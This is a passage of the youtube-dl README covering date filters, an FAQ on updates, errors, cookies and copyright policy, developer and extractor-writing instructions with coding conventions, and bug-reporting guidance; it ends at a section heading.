Videos can be filtered by their upload date using the options `--date`, `--datebefore` or `--dateafter`. They accept dates in two formats:
- Absolute dates: Dates in the format `YYYYMMDD`.
- Relative dates: Dates in the format `(now|today)[+-][0-9](day|week|month|year)(s)?`
Examples:
```bash
# Download only the videos uploaded in the last 6 months
$ youtube-dl --dateafter now-6months
# Download only the videos uploaded on January 1, 1970
$ youtube-dl --date 19700101
$ # Download only the videos uploaded in the 200x decade
$ youtube-dl --dateafter 20000101 --datebefore 20091231
```
# FAQ
### How do I update youtube-dl?
If you've followed [our manual installation instructions](https://ytdl-org.github.io/youtube-dl/download.html), you can simply run `youtube-dl -U` (or, on Linux, `sudo youtube-dl -U`).
If you have used pip, a simple `sudo pip install -U youtube-dl` is sufficient to update.
If you have installed youtube-dl using a package manager like *apt-get* or *yum*, use the standard system update mechanism to update. Note that distribution packages are often outdated. As a rule of thumb, youtube-dl releases at least once a month, and often weekly or even daily. Simply go to https://yt-dl.org to find out the current version. Unfortunately, there is nothing we youtube-dl developers can do if your distribution serves a really outdated version. You can (and should) complain to your distribution in their bugtracker or support forum.
As a last resort, you can also uninstall the version installed by your package manager and follow our manual installation instructions. For that, remove the distribution's package, with a line like
sudo apt-get remove -y youtube-dl
Afterwards, simply follow [our manual installation instructions](https://ytdl-org.github.io/youtube-dl/download.html):
```
sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl
sudo chmod a+rx /usr/local/bin/youtube-dl
hash -r
```
Again, from then on you'll be able to update with `sudo youtube-dl -U`.
### youtube-dl is extremely slow to start on Windows
Add a file exclusion for `youtube-dl.exe` in Windows Defender settings.
### I'm getting an error `Unable to extract OpenGraph title` on YouTube playlists
YouTube changed their playlist format in March 2014 and later on, so you'll need at least youtube-dl 2014.07.25 to download all YouTube videos.
If you have installed youtube-dl with a package manager, pip, setup.py or a tarball, please use that to update. Note that Ubuntu packages do not seem to get updated anymore. Since we are not affiliated with Ubuntu, there is little we can do. Feel free to [report bugs](https://bugs.launchpad.net/ubuntu/+source/youtube-dl/+filebug) to the [Ubuntu packaging people](mailto:[email protected]?subject=outdated%20version%20of%20youtube-dl) - all they have to do is update the package to a somewhat recent version. See above for a way to update.
### I'm getting an error when trying to use output template: `error: using output template conflicts with using title, video ID or auto number`
Make sure you are not using `-o` with any of these options `-t`, `--title`, `--id`, `-A` or `--auto-number` set in command line or in a configuration file. Remove the latter if any.
### Do I always have to pass `-citw`?
By default, youtube-dl intends to have the best options (incidentally, if you have a convincing case that these should be different, [please file an issue where you explain that](https://yt-dl.org/bug)). Therefore, it is unnecessary and sometimes harmful to copy long option strings from webpages. In particular, the only option out of `-citw` that is regularly useful is `-i`.
### Can you please put the `-b` option back?
Most people asking this question are not aware that youtube-dl now defaults to downloading the highest available quality as reported by YouTube, which will be 1080p or 720p in some cases, so you no longer need the `-b` option. For some specific videos, maybe YouTube does not report them to be available in a specific high quality format you're interested in. In that case, simply request it with the `-f` option and youtube-dl will try to download it.
### I get HTTP error 402 when trying to download a video. What's this?
Apparently YouTube requires you to pass a CAPTCHA test if you download too much. We're [considering to provide a way to let you solve the CAPTCHA](https://github.com/ytdl-org/youtube-dl/issues/154), but at the moment, your best course of action is pointing a web browser to the youtube URL, solving the CAPTCHA, and restart youtube-dl.
### Do I need any other programs?
youtube-dl works fine on its own on most sites. However, if you want to convert video/audio, you'll need [avconv](https://libav.org/) or [ffmpeg](https://www.ffmpeg.org/). On some sites - most notably YouTube - videos can be retrieved in a higher quality format without sound. youtube-dl will detect whether avconv/ffmpeg is present and automatically pick the best option.
Videos or video formats streamed via RTMP protocol can only be downloaded when [rtmpdump](https://rtmpdump.mplayerhq.hu/) is installed. Downloading MMS and RTSP videos requires either [mplayer](https://mplayerhq.hu/) or [mpv](https://mpv.io/) to be installed.
### I have downloaded a video but how can I play it?
Once the video is fully downloaded, use any video player, such as [mpv](https://mpv.io/), [vlc](https://www.videolan.org/) or [mplayer](https://www.mplayerhq.hu/).
### I extracted a video URL with `-g`, but it does not play on another machine / in my web browser.
It depends a lot on the service. In many cases, requests for the video (to download/play it) must come from the same IP address and with the same cookies and/or HTTP headers. Use the `--cookies` option to write the required cookies into a file, and advise your downloader to read cookies from that file. Some sites also require a common user agent to be used, use `--dump-user-agent` to see the one in use by youtube-dl. You can also get necessary cookies and HTTP headers from JSON output obtained with `--dump-json`.
It may be beneficial to use IPv6; in some cases, the restrictions are only applied to IPv4. Some services (sometimes only for a subset of videos) do not restrict the video URL by IP address, cookie, or user-agent, but these are the exception rather than the rule.
Please bear in mind that some URL protocols are **not** supported by browsers out of the box, including RTMP. If you are using `-g`, your own downloader must support these as well.
If you want to play the video on a machine that is not running youtube-dl, you can relay the video content from the machine that runs youtube-dl. You can use `-o -` to let youtube-dl stream a video to stdout, or simply allow the player to download the files written by youtube-dl in turn.
### ERROR: no fmt_url_map or conn information found in video info
YouTube has switched to a new video info format in July 2011 which is not supported by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl.
### ERROR: unable to download video
YouTube requires an additional signature since September 2012 which is not supported by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl.
### Video URL contains an ampersand and I'm getting some strange output `[1] 2839` or `'v' is not recognized as an internal or external command`
That's actually the output from your shell. Since ampersand is one of the special shell characters it's interpreted by the shell preventing you from passing the whole URL to youtube-dl. To disable your shell from interpreting the ampersands (or any other special characters) you have to either put the whole URL in quotes or escape them with a backslash (which approach will work depends on your shell).
For example if your URL is https://www.youtube.com/watch?t=4&v=BaW_jenozKc you should end up with following command:
```youtube-dl 'https://www.youtube.com/watch?t=4&v=BaW_jenozKc'```
or
```youtube-dl https://www.youtube.com/watch?t=4\&v=BaW_jenozKc```
For Windows you have to use the double quotes:
```youtube-dl "https://www.youtube.com/watch?t=4&v=BaW_jenozKc"```
### ExtractorError: Could not find JS function u'OF'
In February 2015, the new YouTube player contained a character sequence in a string that was misinterpreted by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl.
### HTTP Error 429: Too Many Requests or 402: Payment Required
These two error codes indicate that the service is blocking your IP address because of overuse. Contact the service and ask them to unblock your IP address, or - if you have acquired a whitelisted IP address already - use the [`--proxy` or `--source-address` options](#network-options) to select another IP address.
### SyntaxError: Non-ASCII character
The error
File "youtube-dl", line 2
SyntaxError: Non-ASCII character '\x93' ...
means you're using an outdated version of Python. Please update to Python 2.6 or 2.7.
### What is this binary file? Where has the code gone?
Since June 2012 ([#342](https://github.com/ytdl-org/youtube-dl/issues/342)) youtube-dl is packed as an executable zipfile, simply unzip it (might need renaming to `youtube-dl.zip` first on some systems) or clone the git repository, as laid out above. If you modify the code, you can run it by executing the `__main__.py` file. To recompile the executable, run `make youtube-dl`.
### The exe throws an error due to missing `MSVCR100.dll`
To run the exe you need to install first the [Microsoft Visual C++ 2010 Redistributable Package (x86)](https://www.microsoft.com/en-US/download/details.aspx?id=5555).
### On Windows, how should I set up ffmpeg and youtube-dl? Where should I put the exe files?
If you put youtube-dl and ffmpeg in the same directory that you're running the command from, it will work, but that's rather cumbersome.
To make a different directory work - either for ffmpeg, or for youtube-dl, or for both - simply create the directory (say, `C:\bin`, or `C:\Users\<User name>\bin`), put all the executables directly in there, and then [set your PATH environment variable](https://www.java.com/en/download/help/path.xml) to include that directory.
From then on, after restarting your shell, you will be able to access both youtube-dl and ffmpeg (and youtube-dl will be able to find ffmpeg) by simply typing `youtube-dl` or `ffmpeg`, no matter what directory you're in.
### How do I put downloads into a specific folder?
Use the `-o` to specify an [output template](#output-template), for example `-o "/home/user/videos/%(title)s-%(id)s.%(ext)s"`. If you want this for all of your downloads, put the option into your [configuration file](#configuration).
### How do I download a video starting with a `-`?
Either prepend `https://www.youtube.com/watch?v=` or separate the ID from the options with `--`:
youtube-dl -- -wNyEUrxzFU
youtube-dl "https://www.youtube.com/watch?v=-wNyEUrxzFU"
### How do I pass cookies to youtube-dl?
Use the `--cookies` option, for example `--cookies /path/to/cookies/file.txt`.
In order to extract cookies from browser use any conforming browser extension for exporting cookies. For example, [cookies.txt](https://chrome.google.com/webstore/detail/cookiestxt/njabckikapfpffapmjgojcnbfjonfjfg) (for Chrome) or [cookies.txt](https://addons.mozilla.org/en-US/firefox/addon/cookies-txt/) (for Firefox).
Note that the cookies file must be in Mozilla/Netscape format and the first line of the cookies file must be either `# HTTP Cookie File` or `# Netscape HTTP Cookie File`. Make sure you have correct [newline format](https://en.wikipedia.org/wiki/Newline) in the cookies file and convert newlines if necessary to correspond with your OS, namely `CRLF` (`\r\n`) for Windows and `LF` (`\n`) for Unix and Unix-like systems (Linux, macOS, etc.). `HTTP Error 400: Bad Request` when using `--cookies` is a good sign of invalid newline format.
Passing cookies to youtube-dl is a good way to workaround login when a particular extractor does not implement it explicitly. Another use case is working around [CAPTCHA](https://en.wikipedia.org/wiki/CAPTCHA) some websites require you to solve in particular cases in order to get access (e.g. YouTube, CloudFlare).
### How do I stream directly to media player?
You will first need to tell youtube-dl to stream media to stdout with `-o -`, and also tell your media player to read from stdin (it must be capable of this for streaming) and then pipe former to latter. For example, streaming to [vlc](https://www.videolan.org/) can be achieved with:
youtube-dl -o - "https://www.youtube.com/watch?v=BaW_jenozKcj" | vlc -
### How do I download only new videos from a playlist?
Use download-archive feature. With this feature you should initially download the complete playlist with `--download-archive /path/to/download/archive/file.txt` that will record identifiers of all the videos in a special file. Each subsequent run with the same `--download-archive` will download only new videos and skip all videos that have been downloaded before. Note that only successful downloads are recorded in the file.
For example, at first,
youtube-dl --download-archive archive.txt "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re"
will download the complete `PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re` playlist and create a file `archive.txt`. Each subsequent run will only download new videos if any:
youtube-dl --download-archive archive.txt "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re"
### Should I add `--hls-prefer-native` into my config?
When youtube-dl detects an HLS video, it can download it either with the built-in downloader or ffmpeg. Since many HLS streams are slightly invalid and ffmpeg/youtube-dl each handle some invalid cases better than the other, there is an option to switch the downloader if needed.
When youtube-dl knows that one particular downloader works better for a given website, that downloader will be picked. Otherwise, youtube-dl will pick the best downloader for general compatibility, which at the moment happens to be ffmpeg. This choice may change in future versions of youtube-dl, with improvements of the built-in downloader and/or ffmpeg.
In particular, the generic extractor (used when your website is not in the [list of supported sites by youtube-dl](https://ytdl-org.github.io/youtube-dl/supportedsites.html) cannot mandate one specific downloader.
If you put either `--hls-prefer-native` or `--hls-prefer-ffmpeg` into your configuration, a different subset of videos will fail to download correctly. Instead, it is much better to [file an issue](https://yt-dl.org/bug) or a pull request which details why the native or the ffmpeg HLS downloader is a better choice for your use case.
### Can you add support for this anime video site, or site which shows current movies for free?
As a matter of policy (as well as legality), youtube-dl does not include support for services that specialize in infringing copyright. As a rule of thumb, if you cannot easily find a video that the service is quite obviously allowed to distribute (i.e. that has been uploaded by the creator, the creator's distributor, or is published under a free license), the service is probably unfit for inclusion to youtube-dl.
A note on the service that they don't host the infringing content, but just link to those who do, is evidence that the service should **not** be included into youtube-dl. The same goes for any DMCA note when the whole front page of the service is filled with videos they are not allowed to distribute. A "fair use" note is equally unconvincing if the service shows copyright-protected videos in full without authorization.
Support requests for services that **do** purchase the rights to distribute their content are perfectly fine though. If in doubt, you can simply include a source that mentions the legitimate purchase of content.
### How can I speed up work on my issue?
(Also known as: Help, my important issue not being solved!) The youtube-dl core developer team is quite small. While we do our best to solve as many issues as possible, sometimes that can take quite a while. To speed up your issue, here's what you can do:
First of all, please do report the issue [at our issue tracker](https://yt-dl.org/bugs). That allows us to coordinate all efforts by users and developers, and serves as a unified point. Unfortunately, the youtube-dl project has grown too large to use personal email as an effective communication channel.
Please read the [bug reporting instructions](#bugs) below. A lot of bugs lack all the necessary information. If you can, offer proxy, VPN, or shell access to the youtube-dl developers. If you are able to, test the issue from multiple computers in multiple countries to exclude local censorship or misconfiguration issues.
If nobody is interested in solving your issue, you are welcome to take matters into your own hands and submit a pull request (or coerce/pay somebody else to do so).
Feel free to bump the issue from time to time by writing a small comment ("Issue is still present in youtube-dl version ...from France, but fixed from Belgium"), but please not more than once a month. Please do not declare your issue as `important` or `urgent`.
### How can I detect whether a given URL is supported by youtube-dl?
For one, have a look at the [list of supported sites](docs/supportedsites.md). Note that it can sometimes happen that the site changes its URL scheme (say, from https://example.com/video/1234567 to https://example.com/v/1234567 ) and youtube-dl reports an URL of a service in that list as unsupported. In that case, simply report a bug.
It is *not* possible to detect whether a URL is supported or not. That's because youtube-dl contains a generic extractor which matches **all** URLs. You may be tempted to disable, exclude, or remove the generic extractor, but the generic extractor not only allows users to extract videos from lots of websites that embed a video from another service, but may also be used to extract video from a service that it's hosting itself. Therefore, we neither recommend nor support disabling, excluding, or removing the generic extractor.
If you want to find out whether a given URL is supported, simply call youtube-dl with it. If you get no videos back, chances are the URL is either not referring to a video or unsupported. You can find out which by examining the output (if you run youtube-dl on the console) or catching an `UnsupportedError` exception if you run it from a Python program.
# Why do I need to go through that much red tape when filing bugs?
Before we had the issue template, despite our extensive [bug reporting instructions](#bugs), about 80% of the issue reports we got were useless, for instance because people used ancient versions hundreds of releases old, because of simple syntactic errors (not in youtube-dl but in general shell usage), because the problem was already reported multiple times before, because people did not actually read an error message, even if it said "please install ffmpeg", because people did not mention the URL they were trying to download and many more simple, easy-to-avoid problems, many of whom were totally unrelated to youtube-dl.
youtube-dl is an open-source project manned by too few volunteers, so we'd rather spend time fixing bugs where we are certain none of those simple problems apply, and where we can be reasonably confident to be able to reproduce the issue without asking the reporter repeatedly. As such, the output of `youtube-dl -v YOUR_URL_HERE` is really all that's required to file an issue. The issue template also guides you through some basic steps you can do, such as checking that your version of youtube-dl is current.
# DEVELOPER INSTRUCTIONS
Most users do not need to build youtube-dl and can [download the builds](https://ytdl-org.github.io/youtube-dl/download.html) or get them from their distribution.
To run youtube-dl as a developer, you don't need to build anything either. Simply execute
python -m youtube_dl
To run the test, simply invoke your favorite test runner, or execute a test file directly; any of the following work:
python -m unittest discover
python test/test_download.py
nosetests
See item 6 of [new extractor tutorial](#adding-support-for-a-new-site) for how to run extractor specific test cases.
If you want to create a build of youtube-dl yourself, you'll need
* python
* make (only GNU make is supported)
* pandoc
* zip
* nosetests
### Adding support for a new site
If you want to add support for a new site, first of all **make sure** this site is **not dedicated to [copyright infringement](README.md#can-you-add-support-for-this-anime-video-site-or-site-which-shows-current-movies-for-free)**. youtube-dl does **not support** such sites thus pull requests adding support for them **will be rejected**.
After you have ensured this site is distributing its content legally, you can follow this quick list (assuming your service is called `yourextractor`):
1. [Fork this repository](https://github.com/ytdl-org/youtube-dl/fork)
2. Check out the source code with:
git clone [email protected]:YOUR_GITHUB_USERNAME/youtube-dl.git
3. Start a new git branch with
cd youtube-dl
git checkout -b yourextractor
4. Start with this simple template and save it to `youtube_dl/extractor/yourextractor.py`:
```python
# coding: utf-8
from __future__ import unicode_literals
from .common import InfoExtractor
class YourExtractorIE(InfoExtractor):
_VALID_URL = r'https?://(?:www\.)?yourextractor\.com/watch/(?P<id>[0-9]+)'
_TEST = {
'url': 'https://yourextractor.com/watch/42',
'md5': 'TODO: md5 sum of the first 10241 bytes of the video file (use --test)',
'info_dict': {
'id': '42',
'ext': 'mp4',
'title': 'Video title goes here',
'thumbnail': r're:^https?://.*\.jpg$',
# TODO more properties, either as:
# * A value
# * MD5 checksum; start the string with md5:
# * A regular expression; start the string with re:
# * Any Python type (for example int or float)
}
}
def _real_extract(self, url):
video_id = self._match_id(url)
webpage = self._download_webpage(url, video_id)
# TODO more code goes here, for example ...
title = self._html_search_regex(r'<h1>(.+?)</h1>', webpage, 'title')
return {
'id': video_id,
'title': title,
'description': self._og_search_description(webpage),
'uploader': self._search_regex(r'<div[^>]+id="uploader"[^>]*>([^<]+)<', webpage, 'uploader', fatal=False),
# TODO more properties (see youtube_dl/extractor/common.py)
}
```
5. Add an import in [`youtube_dl/extractor/extractors.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/extractors.py).
6. Run `python test/test_download.py TestDownload.test_YourExtractor`. This *should fail* at first, but you can continually re-run it until you're done. If you decide to add more than one test, then rename ``_TEST`` to ``_TESTS`` and make it into a list of dictionaries. The tests will then be named `TestDownload.test_YourExtractor`, `TestDownload.test_YourExtractor_1`, `TestDownload.test_YourExtractor_2`, etc. Note that tests with `only_matching` key in test's dict are not counted in.
7. Have a look at [`youtube_dl/extractor/common.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/common.py) for possible helper methods and a [detailed description of what your extractor should and may return](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L94-L303). Add tests and code for as many as you want.
8. Make sure your code follows [youtube-dl coding conventions](#youtube-dl-coding-conventions) and check the code with [flake8](http://flake8.pycqa.org/en/latest/index.html#quickstart):
$ flake8 youtube_dl/extractor/yourextractor.py
9. Make sure your code works under all [Python](https://www.python.org/) versions claimed supported by youtube-dl, namely 2.6, 2.7, and 3.2+.
10. When the tests pass, [add](https://git-scm.com/docs/git-add) the new files and [commit](https://git-scm.com/docs/git-commit) them and [push](https://git-scm.com/docs/git-push) the result, like this:
$ git add youtube_dl/extractor/extractors.py
$ git add youtube_dl/extractor/yourextractor.py
$ git commit -m '[yourextractor] Add new extractor'
$ git push origin yourextractor
11. Finally, [create a pull request](https://help.github.com/articles/creating-a-pull-request). We'll then review and merge it.
In any case, thank you very much for your contributions!
## youtube-dl coding conventions
This section introduces a guide lines for writing idiomatic, robust and future-proof extractor code.
Extractors are very fragile by nature since they depend on the layout of the source data provided by 3rd party media hosters out of your control and this layout tends to change. As an extractor implementer your task is not only to write code that will extract media links and metadata correctly but also to minimize dependency on the source's layout and even to make the code foresee potential future changes and be ready for that. This is important because it will allow the extractor not to break on minor layout changes thus keeping old youtube-dl versions working. Even though this breakage issue is easily fixed by emitting a new version of youtube-dl with a fix incorporated, all the previous versions become broken in all repositories and distros' packages that may not be so prompt in fetching the update from us. Needless to say, some non rolling release distros may never receive an update at all.
### Mandatory and optional metafields
For extraction to work youtube-dl relies on metadata your extractor extracts and provides to youtube-dl expressed by an [information dictionary](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L94-L303) or simply *info dict*. Only the following meta fields in the *info dict* are considered mandatory for a successful extraction process by youtube-dl:
- `id` (media identifier)
- `title` (media title)
- `url` (media download URL) or `formats`
In fact only the last option is technically mandatory (i.e. if you can't figure out the download location of the media the extraction does not make any sense). But by convention youtube-dl also treats `id` and `title` as mandatory. Thus the aforementioned metafields are the critical data that the extraction does not make any sense without and if any of them fail to be extracted then the extractor is considered completely broken.
[Any field](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L188-L303) apart from the aforementioned ones are considered **optional**. That means that extraction should be **tolerant** to situations when sources for these fields can potentially be unavailable (even if they are always available at the moment) and **future-proof** in order not to break the extraction of general purpose mandatory fields.
#### Example
Say you have some source dictionary `meta` that you've fetched as JSON with HTTP request and it has a key `summary`:
```python
meta = self._download_json(url, video_id)
```
Assume at this point `meta`'s layout is:
```python
{
...
"summary": "some fancy summary text",
...
}
```
Assume you want to extract `summary` and put it into the resulting info dict as `description`. Since `description` is an optional meta field you should be ready that this key may be missing from the `meta` dict, so that you should extract it like:
```python
description = meta.get('summary') # correct
```
and not like:
```python
description = meta['summary'] # incorrect
```
The latter will break extraction process with `KeyError` if `summary` disappears from `meta` at some later time but with the former approach extraction will just go ahead with `description` set to `None` which is perfectly fine (remember `None` is equivalent to the absence of data).
Similarly, you should pass `fatal=False` when extracting optional data from a webpage with `_search_regex`, `_html_search_regex` or similar methods, for instance:
```python
description = self._search_regex(
r'<span[^>]+id="title"[^>]*>([^<]+)<',
webpage, 'description', fatal=False)
```
With `fatal` set to `False` if `_search_regex` fails to extract `description` it will emit a warning and continue extraction.
You can also pass `default=<some fallback value>`, for example:
```python
description = self._search_regex(
r'<span[^>]+id="title"[^>]*>([^<]+)<',
webpage, 'description', default=None)
```
On failure this code will silently continue the extraction with `description` set to `None`. That is useful for metafields that may or may not be present.
### Provide fallbacks
When extracting metadata try to do so from multiple sources. For example if `title` is present in several places, try extracting from at least some of them. This makes it more future-proof in case some of the sources become unavailable.
#### Example
Say `meta` from the previous example has a `title` and you are about to extract it. Since `title` is a mandatory meta field you should end up with something like:
```python
title = meta['title']
```
If `title` disappears from `meta` in future due to some changes on the hoster's side the extraction would fail since `title` is mandatory. That's expected.
Assume that you have some another source you can extract `title` from, for example `og:title` HTML meta of a `webpage`. In this case you can provide a fallback scenario:
```python
title = meta.get('title') or self._og_search_title(webpage)
```
This code will try to extract from `meta` first and if it fails it will try extracting `og:title` from a `webpage`.
### Regular expressions
#### Don't capture groups you don't use
Capturing group must be an indication that it's used somewhere in the code. Any group that is not used must be non capturing.
##### Example
Don't capture id attribute name here since you can't use it for anything anyway.
Correct:
```python
r'(?:id|ID)=(?P<id>\d+)'
```
Incorrect:
```python
r'(id|ID)=(?P<id>\d+)'
```
#### Make regular expressions relaxed and flexible
When using regular expressions try to write them fuzzy, relaxed and flexible, skipping insignificant parts that are more likely to change, allowing both single and double quotes for quoted values and so on.
##### Example
Say you need to extract `title` from the following HTML code:
```html
<span style="position: absolute; left: 910px; width: 90px; float: right; z-index: 9999;" class="title">some fancy title</span>
```
The code for that task should look similar to:
```python
title = self._search_regex(
r'<span[^>]+class="title"[^>]*>([^<]+)', webpage, 'title')
```
Or even better:
```python
title = self._search_regex(
r'<span[^>]+class=(["\'])title\1[^>]*>(?P<title>[^<]+)',
webpage, 'title', group='title')
```
Note how you tolerate potential changes in the `style` attribute's value or switch from using double quotes to single for `class` attribute:
The code definitely should not look like:
```python
title = self._search_regex(
r'<span style="position: absolute; left: 910px; width: 90px; float: right; z-index: 9999;" class="title">(.*?)</span>',
webpage, 'title', group='title')
```
### Long lines policy
There is a soft limit to keep lines of code under 80 characters long. This means it should be respected if possible and if it does not make readability and code maintenance worse.
For example, you should **never** split long string literals like URLs or some other often copied entities over multiple lines to fit this limit:
Correct:
```python
'https://www.youtube.com/watch?v=FqZTN594JQw&list=PLMYEtVRpaqY00V9W81Cwmzp6N6vZqfUKD4'
```
Incorrect:
```python
'https://www.youtube.com/watch?v=FqZTN594JQw&list='
'PLMYEtVRpaqY00V9W81Cwmzp6N6vZqfUKD4'
```
### Inline values
Extracting variables is acceptable for reducing code duplication and improving readability of complex expressions. However, you should avoid extracting variables used only once and moving them to opposite parts of the extractor file, which makes reading the linear flow difficult.
#### Example
Correct:
```python
title = self._html_search_regex(r'<title>([^<]+)</title>', webpage, 'title')
```
Incorrect:
```python
TITLE_RE = r'<title>([^<]+)</title>'
# ...some lines of code...
title = self._html_search_regex(TITLE_RE, webpage, 'title')
```
### Collapse fallbacks
Multiple fallback values can quickly become unwieldy. Collapse multiple fallback values into a single expression via a list of patterns.
#### Example
Good:
```python
description = self._html_search_meta(
['og:description', 'description', 'twitter:description'],
webpage, 'description', default=None)
```
Unwieldy:
```python
description = (
self._og_search_description(webpage, default=None)
or self._html_search_meta('description', webpage, default=None)
or self._html_search_meta('twitter:description', webpage, default=None))
```
Methods supporting list of patterns are: `_search_regex`, `_html_search_regex`, `_og_search_property`, `_html_search_meta`.
### Trailing parentheses
Always move trailing parentheses after the last argument.
#### Example
Correct:
```python
lambda x: x['ResultSet']['Result'][0]['VideoUrlSet']['VideoUrl'],
list)
```
Incorrect:
```python
lambda x: x['ResultSet']['Result'][0]['VideoUrlSet']['VideoUrl'],
list,
)
```
### Use convenience conversion and parsing functions
Wrap all extracted numeric data into safe functions from [`youtube_dl/utils.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/utils.py): `int_or_none`, `float_or_none`. Use them for string to number conversions as well.
Use `url_or_none` for safe URL processing.
Use `try_get` for safe metadata extraction from parsed JSON.
Use `unified_strdate` for uniform `upload_date` or any `YYYYMMDD` meta field extraction, `unified_timestamp` for uniform `timestamp` extraction, `parse_filesize` for `filesize` extraction, `parse_count` for count meta fields extraction, `parse_resolution`, `parse_duration` for `duration` extraction, `parse_age_limit` for `age_limit` extraction.
Explore [`youtube_dl/utils.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/utils.py) for more useful convenience functions.
#### More examples
##### Safely extract optional description from parsed JSON
```python
description = try_get(response, lambda x: x['result']['video'][0]['summary'], compat_str)
```
##### Safely extract more optional metadata
```python
video = try_get(response, lambda x: x['result']['video'][0], dict) or {}
description = video.get('summary')
duration = float_or_none(video.get('durationMs'), scale=1000)
view_count = int_or_none(video.get('views'))
```
# EMBEDDING YOUTUBE-DL
youtube-dl makes the best effort to be a good command-line program, and thus should be callable from any programming language. If you encounter any problems parsing its output, feel free to [create a report](https://github.com/ytdl-org/youtube-dl/issues/new).
From a Python program, you can embed youtube-dl in a more powerful fashion, like this:
```python
from __future__ import unicode_literals
import youtube_dl
ydl_opts = {}
with youtube_dl.YoutubeDL(ydl_opts) as ydl:
ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc'])
```
Most likely, you'll want to use various options. For a list of options available, have a look at [`youtube_dl/YoutubeDL.py`](https://github.com/ytdl-org/youtube-dl/blob/3e4cedf9e8cd3157df2457df7274d0c842421945/youtube_dl/YoutubeDL.py#L137-L312). For a start, if you want to intercept youtube-dl's output, set a `logger` object.
Here's a more complete example of a program that outputs only errors (and a short message after the download is finished), and downloads/converts the video to an mp3 file:
```python
from __future__ import unicode_literals
import youtube_dl
class MyLogger(object):
def debug(self, msg):
pass
def warning(self, msg):
pass
def error(self, msg):
print(msg)
def my_hook(d):
if d['status'] == 'finished':
print('Done downloading, now converting ...')
ydl_opts = {
'format': 'bestaudio/best',
'postprocessors': [{
'key': 'FFmpegExtractAudio',
'preferredcodec': 'mp3',
'preferredquality': '192',
}],
'logger': MyLogger(),
'progress_hooks': [my_hook],
}
with youtube_dl.YoutubeDL(ydl_opts) as ydl:
ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc'])
```
# BUGS
Bugs and suggestions should be reported at: <https://github.com/ytdl-org/youtube-dl/issues>. Unless you were prompted to or there is another pertinent reason (e.g. GitHub fails to accept the bug report), please do not send bug reports via personal email. For discussions, join us in the IRC channel [#youtube-dl](irc://chat.freenode.net/#youtube-dl) on freenode ([webchat](https://webchat.freenode.net/?randomnick=1&channels=youtube-dl)).
**Please include the full output of youtube-dl when run with `-v`**, i.e. **add** `-v` flag to **your command line**, copy the **whole** output and post it in the issue body wrapped in \`\`\` for better formatting. It should look similar to this:
```
$ youtube-dl -v <your command line>
[debug] System config: []
[debug] User config: []
[debug] Command-line args: [u'-v', u'https://www.youtube.com/watch?v=BaW_jenozKcj']
[debug] Encodings: locale cp1251, fs mbcs, out cp866, pref cp1251
[debug] youtube-dl version 2015.12.06
[debug] Git HEAD: 135392e
[debug] Python version 2.6.6 - Windows-2003Server-5.2.3790-SP2
[debug] exe versions: ffmpeg N-75573-g1d0487f, ffprobe N-75573-g1d0487f, rtmpdump 2.4
[debug] Proxy map: {}
...
```
**Do not post screenshots of verbose logs; only plain text is acceptable.**
The output (including the first lines) contains important debugging information. Issues without the full output are often not reproducible and therefore do not get solved in short order, if ever.
Please re-read your issue once again to avoid a couple of common mistakes (you can and should use this as a checklist):
### Is the description of the issue itself sufficient?
We often get issue reports that we cannot really decipher. While in most cases we eventually get the required information after asking back multiple times, this poses an unnecessary drain on our resources. Many contributors, including myself, are also not native speakers, so we may misread some parts.
So please elaborate on what feature you are requesting, or what bug you want to be fixed. Make sure that it's obvious
- What the problem is
- How it could be fixed
- How your proposed solution would look like
If your report is shorter than two lines, it is almost certainly missing some of these, which makes it hard for us to respond to it. We're often too polite to close the issue outright, but the missing info makes misinterpretation likely. As a committer myself, I often get frustrated by these issues, since the only possible way for me to move forward on them is to ask for clarification over and over.
For bug reports, this means that your report should contain the *complete* output of youtube-dl when called with the `-v` flag. The error message you get for (most) bugs even says so, but you would not believe how many of our bug reports do not contain this information.
If your server has multiple IPs or you suspect censorship, adding `--call-home` may be a good idea to get more diagnostics. If the error is `ERROR: Unable to extract ...` and you cannot reproduce it from multiple countries, add `--dump-pages` (warning: this will yield a rather large output, redirect it to the file `log.txt` by adding `>log.txt 2>&1` to your command-line) or upload the `.dump` files you get when you add `--write-pages` [somewhere](https://gist.github.com/).
**Site support requests must contain an example URL**. An example URL is a URL you might want to download, like `https://www.youtube.com/watch?v=BaW_jenozKc`. There should be an obvious video present. Except under very special circumstances, the main page of a video service (e.g. `https://www.youtube.com/`) is *not* an example URL.
### Are you using the latest version?
Before reporting any issue, type `youtube-dl -U`. This should report that you're up-to-date. About 20% of the reports we receive are already fixed, but people are using outdated versions. This goes for feature requests as well.
### Is the issue already documented?
Make sure that someone has not already opened the issue you're trying to open. Search at the top of the window or browse the [GitHub Issues](https://github.com/ytdl-org/youtube-dl/search?type=Issues) of this repository. If there is an issue, feel free to write something along the lines of "This affects me as well, with version 2015.01.01. Here is some more information on the issue: ...". While some issues may be old, a new post into them often spurs rapid activity.
### Why are existing options not enough?
Before requesting a new feature, please have a quick peek at [the list of supported options](https://github.com/ytdl-org/youtube-dl/blob/master/README.md#options). Many feature requests are for features that actually exist already! Please, absolutely do show off your work in the issue report and detail how the existing similar options do *not* solve your problem.
### Is there enough context in your bug report?
